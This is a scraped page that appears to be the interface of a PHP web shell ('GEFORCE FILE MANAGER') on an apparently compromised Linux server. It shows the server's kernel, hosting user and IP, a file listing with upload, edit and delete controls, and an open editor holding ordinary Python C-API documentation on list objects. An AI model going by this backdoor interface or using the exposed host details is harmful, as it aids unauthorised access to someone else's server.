[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.19
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
share
/
doc
/
python3-docs
/
html
/
_sources
/
c-api
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 abstract.rst.txt
715 B
SET
[ EDIT ]
|
[ DEL ]
📄 allocation.rst.txt
2,653 B
SET
[ EDIT ]
|
[ DEL ]
📄 apiabiversion.rst.txt
2,242 B
SET
[ EDIT ]
|
[ DEL ]
📄 arg.rst.txt
30,651 B
SET
[ EDIT ]
|
[ DEL ]
📄 bool.rst.txt
1,200 B
SET
[ EDIT ]
|
[ DEL ]
📄 buffer.rst.txt
22,267 B
SET
[ EDIT ]
|
[ DEL ]
📄 bytearray.rst.txt
2,250 B
SET
[ EDIT ]
|
[ DEL ]
📄 bytes.rst.txt
9,211 B
SET
[ EDIT ]
|
[ DEL ]
📄 capsule.rst.txt
5,741 B
SET
[ EDIT ]
|
[ DEL ]
📄 cell.rst.txt
1,940 B
SET
[ EDIT ]
|
[ DEL ]
📄 code.rst.txt
1,666 B
SET
[ EDIT ]
|
[ DEL ]
📄 codec.rst.txt
4,799 B
SET
[ EDIT ]
|
[ DEL ]
📄 complex.rst.txt
3,946 B
SET
[ EDIT ]
|
[ DEL ]
📄 concrete.rst.txt
2,046 B
SET
[ EDIT ]
|
[ DEL ]
📄 conversion.rst.txt
5,516 B
SET
[ EDIT ]
|
[ DEL ]
📄 coro.rst.txt
820 B
SET
[ EDIT ]
|
[ DEL ]
📄 datetime.rst.txt
6,415 B
SET
[ EDIT ]
|
[ DEL ]
📄 descriptor.rst.txt
1,111 B
SET
[ EDIT ]
|
[ DEL ]
📄 dict.rst.txt
7,952 B
SET
[ EDIT ]
|
[ DEL ]
📄 exceptions.rst.txt
47,814 B
SET
[ EDIT ]
|
[ DEL ]
📄 file.rst.txt
3,248 B
SET
[ EDIT ]
|
[ DEL ]
📄 float.rst.txt
2,243 B
SET
[ EDIT ]
|
[ DEL ]
📄 function.rst.txt
3,348 B
SET
[ EDIT ]
|
[ DEL ]
📄 gcsupport.rst.txt
6,057 B
SET
[ EDIT ]
|
[ DEL ]
📄 gen.rst.txt
1,301 B
SET
[ EDIT ]
|
[ DEL ]
📄 import.rst.txt
12,825 B
SET
[ EDIT ]
|
[ DEL ]
📄 index.rst.txt
613 B
SET
[ EDIT ]
|
[ DEL ]
📄 init.rst.txt
52,383 B
SET
[ EDIT ]
|
[ DEL ]
📄 intro.rst.txt
28,751 B
SET
[ EDIT ]
|
[ DEL ]
📄 iter.rst.txt
1,129 B
SET
[ EDIT ]
|
[ DEL ]
📄 iterator.rst.txt
1,640 B
SET
[ EDIT ]
|
[ DEL ]
📄 list.rst.txt
4,735 B
SET
[ EDIT ]
|
[ DEL ]
📄 long.rst.txt
10,436 B
SET
[ EDIT ]
|
[ DEL ]
📄 mapping.rst.txt
2,871 B
SET
[ EDIT ]
|
[ DEL ]
📄 marshal.rst.txt
3,561 B
SET
[ EDIT ]
|
[ DEL ]
📄 memory.rst.txt
21,369 B
SET
[ EDIT ]
|
[ DEL ]
📄 memoryview.rst.txt
2,348 B
SET
[ EDIT ]
|
[ DEL ]
📄 method.rst.txt
2,818 B
SET
[ EDIT ]
|
[ DEL ]
📄 module.rst.txt
18,266 B
SET
[ EDIT ]
|
[ DEL ]
📄 none.rst.txt
740 B
SET
[ EDIT ]
|
[ DEL ]
📄 number.rst.txt
10,583 B
SET
[ EDIT ]
|
[ DEL ]
📄 objbuffer.rst.txt
2,198 B
SET
[ EDIT ]
|
[ DEL ]
📄 object.rst.txt
17,420 B
SET
[ EDIT ]
|
[ DEL ]
📄 objimpl.rst.txt
304 B
SET
[ EDIT ]
|
[ DEL ]
📄 refcounting.rst.txt
2,909 B
SET
[ EDIT ]
|
[ DEL ]
📄 reflection.rst.txt
1,417 B
SET
[ EDIT ]
|
[ DEL ]
📄 sequence.rst.txt
6,547 B
SET
[ EDIT ]
|
[ DEL ]
📄 set.rst.txt
6,144 B
SET
[ EDIT ]
|
[ DEL ]
📄 slice.rst.txt
2,404 B
SET
[ EDIT ]
|
[ DEL ]
📄 stable.rst.txt
1,969 B
SET
[ EDIT ]
|
[ DEL ]
📄 structures.rst.txt
13,787 B
SET
[ EDIT ]
|
[ DEL ]
📄 sys.rst.txt
9,944 B
SET
[ EDIT ]
|
[ DEL ]
📄 tuple.rst.txt
8,031 B
SET
[ EDIT ]
|
[ DEL ]
📄 type.rst.txt
3,963 B
SET
[ EDIT ]
|
[ DEL ]
📄 typeobj.rst.txt
60,184 B
SET
[ EDIT ]
|
[ DEL ]
📄 unicode.rst.txt
68,074 B
SET
[ EDIT ]
|
[ DEL ]
📄 utilities.rst.txt
414 B
SET
[ EDIT ]
|
[ DEL ]
📄 veryhigh.rst.txt
16,655 B
SET
[ EDIT ]
|
[ DEL ]
📄 weakref.rst.txt
2,635 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: list.rst.txt
.. highlightlang:: c .. _listobjects: List Objects ------------ .. index:: object: list .. c:type:: PyListObject This subtype of :c:type:`PyObject` represents a Python list object. .. c:var:: PyTypeObject PyList_Type This instance of :c:type:`PyTypeObject` represents the Python list type. This is the same object as :class:`list` in the Python layer. .. c:function:: int PyList_Check(PyObject *p) Return true if *p* is a list object or an instance of a subtype of the list type. .. c:function:: int PyList_CheckExact(PyObject *p) Return true if *p* is a list object, but not an instance of a subtype of the list type. .. c:function:: PyObject* PyList_New(Py_ssize_t len) Return a new list of length *len* on success, or *NULL* on failure. .. note:: If *len* is greater than zero, the returned list object's items are set to ``NULL``. Thus you cannot use abstract API functions such as :c:func:`PySequence_SetItem` or expose the object to Python code before setting all items to a real object with :c:func:`PyList_SetItem`. .. c:function:: Py_ssize_t PyList_Size(PyObject *list) .. index:: builtin: len Return the length of the list object in *list*; this is equivalent to ``len(list)`` on a list object. .. c:function:: Py_ssize_t PyList_GET_SIZE(PyObject *list) Macro form of :c:func:`PyList_Size` without error checking. .. c:function:: PyObject* PyList_GetItem(PyObject *list, Py_ssize_t index) Return the object at position *index* in the list pointed to by *list*. The position must be positive, indexing from the end of the list is not supported. If *index* is out of bounds, return *NULL* and set an :exc:`IndexError` exception. .. c:function:: PyObject* PyList_GET_ITEM(PyObject *list, Py_ssize_t i) Macro form of :c:func:`PyList_GetItem` without error checking. .. c:function:: int PyList_SetItem(PyObject *list, Py_ssize_t index, PyObject *item) Set the item at index *index* in list to *item*. Return ``0`` on success or ``-1`` on failure. .. note:: This function "steals" a reference to *item* and discards a reference to an item already in the list at the affected position. .. c:function:: void PyList_SET_ITEM(PyObject *list, Py_ssize_t i, PyObject *o) Macro form of :c:func:`PyList_SetItem` without error checking. This is normally only used to fill in new lists where there is no previous content. .. note:: This macro "steals" a reference to *item*, and, unlike :c:func:`PyList_SetItem`, does *not* discard a reference to any item that is being replaced; any reference in *list* at position *i* will be leaked. .. c:function:: int PyList_Insert(PyObject *list, Py_ssize_t index, PyObject *item) Insert the item *item* into list *list* in front of index *index*. Return ``0`` if successful; return ``-1`` and set an exception if unsuccessful. Analogous to ``list.insert(index, item)``. .. c:function:: int PyList_Append(PyObject *list, PyObject *item) Append the object *item* at the end of list *list*. Return ``0`` if successful; return ``-1`` and set an exception if unsuccessful. Analogous to ``list.append(item)``. .. c:function:: PyObject* PyList_GetSlice(PyObject *list, Py_ssize_t low, Py_ssize_t high) Return a list of the objects in *list* containing the objects *between* *low* and *high*. Return *NULL* and set an exception if unsuccessful. Analogous to ``list[low:high]``. Negative indices, as when slicing from Python, are not supported. .. c:function:: int PyList_SetSlice(PyObject *list, Py_ssize_t low, Py_ssize_t high, PyObject *itemlist) Set the slice of *list* between *low* and *high* to the contents of *itemlist*. Analogous to ``list[low:high] = itemlist``. The *itemlist* may be *NULL*, indicating the assignment of an empty list (slice deletion). Return ``0`` on success, ``-1`` on failure. Negative indices, as when slicing from Python, are not supported. .. c:function:: int PyList_Sort(PyObject *list) Sort the items of *list* in place. Return ``0`` on success, ``-1`` on failure. This is equivalent to ``list.sort()``. .. c:function:: int PyList_Reverse(PyObject *list) Reverse the items of *list* in place. Return ``0`` on success, ``-1`` on failure. This is the equivalent of ``list.reverse()``. .. c:function:: PyObject* PyList_AsTuple(PyObject *list) .. index:: builtin: tuple Return a new tuple object containing the contents of *list*; equivalent to ``tuple(list)``. .. c:function:: int PyList_ClearFreeList() Clear the free list. Return the total number of freed items. .. versionadded:: 3.3